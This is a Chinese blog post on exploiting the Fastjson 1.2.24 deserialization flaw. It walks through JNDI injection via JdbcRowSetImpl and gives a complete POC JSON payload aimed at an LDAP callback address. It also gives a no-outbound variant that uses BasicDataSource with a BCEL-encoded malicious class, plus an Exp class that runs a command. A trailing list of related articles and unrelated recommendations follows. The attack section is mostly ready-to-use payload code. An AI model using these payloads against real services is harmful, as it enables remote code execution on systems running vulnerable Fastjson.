1、1.2.24漏洞利用-JNDI

漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;

该类实现了JdbcRowSwt接口,继承自BaseRowSet; package com.sun.rowset;

其中setAutoCommit方法中的else分支调用了connect方法

这个方法用于获取数据库连接。它首先检查是否已经存在连接(this.conn),如果存在则直接返回;如果没有,则根据配置获取数据库连接。

而获取连接的方式是如果配置了数据源名称 (this.getDataSourceName() != null),则尝试通过 JNDI 查找数据源,然后获取连接。如果配置了用户名和密码,则使用提供的用户名和密码来获取连接。

DataSourceName有对应的Set方法;

为空的情况下会调用父类的setDataSourceName方法,父类仅仅做了是否为空的判断,然后就是简单的赋值。

所以我们可以反序列化这个类,然后设置属性autocommit,让其调用connect方法,通过 JNDI 查找数据源,而数据源的地址设置为恶意地址,使其执行恶意命令。

使用Yakit生成LDAP反连地址,构造恶意类,执行clac命令。

完整POC如下:

public class Main {
public static void main(String[] args) {
String str1="{\"@type\":\"org.example.bean.FastJsonJdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/qjMfJBxp\",\"autoCommit\":0}";
//FastJsonJdbcRowSetImpl是我自己创建的一个类 实际上可以直接用JdbcRowSetImpl
JSONObject jsonObject = JSON.parseObject(str1);
}
}

2、1.2.24 不出网利用

这里只给出了paseObject方法的利用链,paseObject方法会调用所有get方法,后续有时间再补充pase方法利用链,或者可以参考文章:

https://forum.butian.net/share/2040

String s1="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
\"DriverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$93$84$d81N$n$81$EJi$v$l$85$84C$7d$e9$z$88KE$a5$aanA$N$K$e2$b8$d9$$aS$c7$8e$i$H$f2$8fz$e6$C$VHp$ef$8f$aa$98u$a34$SX$f2$cc$ce$7b3o$9e$d7$7f$fe$de$de$D$f8$80$9a$83$C$96$j$bc$c4$8a$8dW$s$afZxm$e1$8d$83$3c$d6$y$bc$b5$b0N$c8$ef$e9P$t$fb$84l$ad$de$o$e4$3eF$3f$Ua$ce$d7$a1$fa6$ec$b5U$7c$y$da$B$pe$3f$92$oh$89X$9bz$M$e6$92s$3d$mT$fd$u$eexj$qz$fd$40ym$rB$ef$60$d4o$Q$ec$3d$Z$8c$e5$89$db$x$7eW$5c$IOG$de$e7$c3$83$91T$fdDG$n$b7$V$9b$89$90$3f$bf$8a$7e$w$cb$s$JN3$g$c6R$7d$d2f$8d$cdj$ef$cd$a8$L$H$b3$W6$5clb$8b$d7$b3$p$e9$e2$j$b6$J$L$cfH$TVR4$Qa$c7$fb$3e$M$T$ddS$T$d2h$ed$Q$W$9f$b3N$98$ff$3fx$d8$ee$w$99$QJO$b4$d8fG$r$93$a2R$ab$fbOz$f8$f3rj$a4$qa$a76$c56$93X$87$9d$c6$f4$c0Q$iI5$Y$f0$c0$f2t$e7$f1y$i$5d$9a$7bi$d4$5bX$87$cd$3f$d5$3c$Z$90$b9$M$8e$$W$kg$e2$3c$b3$7b$D$baJ$e9$o$c7$fc$3f$Q$_8$ba$e3$f3$i$e69$db$uM$86$cf$90M$b9$a5$df$c8$94$b3$d7$c8$9d$fcB$f1$cb$j$f2$a7$acf$3d$5c$a5d$81$5bg$b8$d1$c8V$f9$84$d4$c9$y$a3$F$c6$i$c6$dc$c9$9a$oce$yp$b5$c8$af$85$8co$a1R$60$a2$9a$3a$5bz$E3$a2$e2$80$a3$C$A$A\",
\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}
}";
public class Exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
//可以使用javac 编译,或使用Repository 且编译后需要encode
}

FastJson反序列化2-1.2.24漏洞利用的更多相关文章

  1. fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...

  2. fastjson反序列化漏洞原理及利用

    重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...

  3. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  4. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  5. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  6. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  7. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  8. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  9. fastjson反序列化漏洞历史CVE学习整理

    fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...

  10. FastJson 反序列化漏洞原理分析

    Fastjson 简介 fastjson框架:https://github.com/alibaba/fastjson fastjson-jndi:https://github.com/earayu/f ...

随机推荐

  1. 从零开始手写缓存框架(二)redis expire 过期原理及实现

    前言 我们在 从零手写 cache 框架(一)实现固定大小的缓存 中已经初步实现了我们的 cache. 本节,让我们来一起学习一下如何实现类似 redis 中的 expire 过期功能. 过期是一个非 ...

  2. Widget模式

    Widget模式 Widget模式是指借用Web Widget思想将页面分解成组件,针对部件开发,最终组合成完整的页面,Web Widget指的是一块可以在任意页面中执行的代码块,Widget模式不属 ...

  3. win10安装和配置weblogic12c

    下载和安装 http://www.oracle.com/technetwork/middleware/ias/downloads/wls-main-097127.html ● 将jar放到jdk的bi ...

  4. Springboot AOP介绍及实战

    介绍 AOP是Aspect Oriented Program的首字母缩写:这种在运行时,动态地将代码切入到类的指定方法.指定位置上的编程思想就是面向切面的编程. 主要用于非核心业务处理,比如权限,日志 ...

  5. Java I/O 教程(三) FileOutputStream类

    Java FileOutputStream 用于将字节数据写入文件. 如果你需要将原始数据写入文件,就使用FileOutputStream类. Java.io.FileOutputStream cla ...

  6. 为什么华为今年疯狂招od?

    不知道的大家有没有发现 这两年市场不好公司用人需求紧缩 唯有华子疯狂招人 很多人都听过华为OD 但是具体是什么还是有很多人疑惑 总结以下三个部分: 1.为啥疯狂招od而不是之前的纯"外包&q ...

  7. node版本管理工具nvm的安装及使用

    一.什么是nvm nvm是一个node版本管理工具. 由于不同项目依赖的node版本可能不同,所以在维护多个项目时通常需要使用不同的node版本,这时候用nvm来切换不同的node版本就很方便. 官方 ...

  8. 【Java复健指南10】OOP高级01-类变量、类方法和main

    类变量 什么是类变量 类变量也叫静态变量/静态属性,是该类的所有对象共享的变量,任何一个该类的对象去访问它时,取到的都是相同的值,同样任何一个该类的对象去修改它时,修改的也是同一个变量. 如何定义类变 ...

  9. 【Azure 环境】当本地网络通过ER专线与Azure云上多个虚拟网络打通,如何通过特定的网络策略来限制本地部分网段访问云上虚拟机22端口?

    问题描述 当本地网络通过ER专线与Azure云上多个虚拟网络打通,如何通过特定的网络策略来限制本地部分网段访问云上虚拟机22端口? 问题回答 根据文档调研,在ER线路服务的层面,是无法做网络策略来限制 ...

  10. Hibernate-Validator扩展之自定义注解

    一.Hibernate-Validator介绍 ​ Hibernate-Validator框架提供了一系列的注解去校验字段是否符合预期,如@NotNull注解可以校验字段是否为null,如果为null ...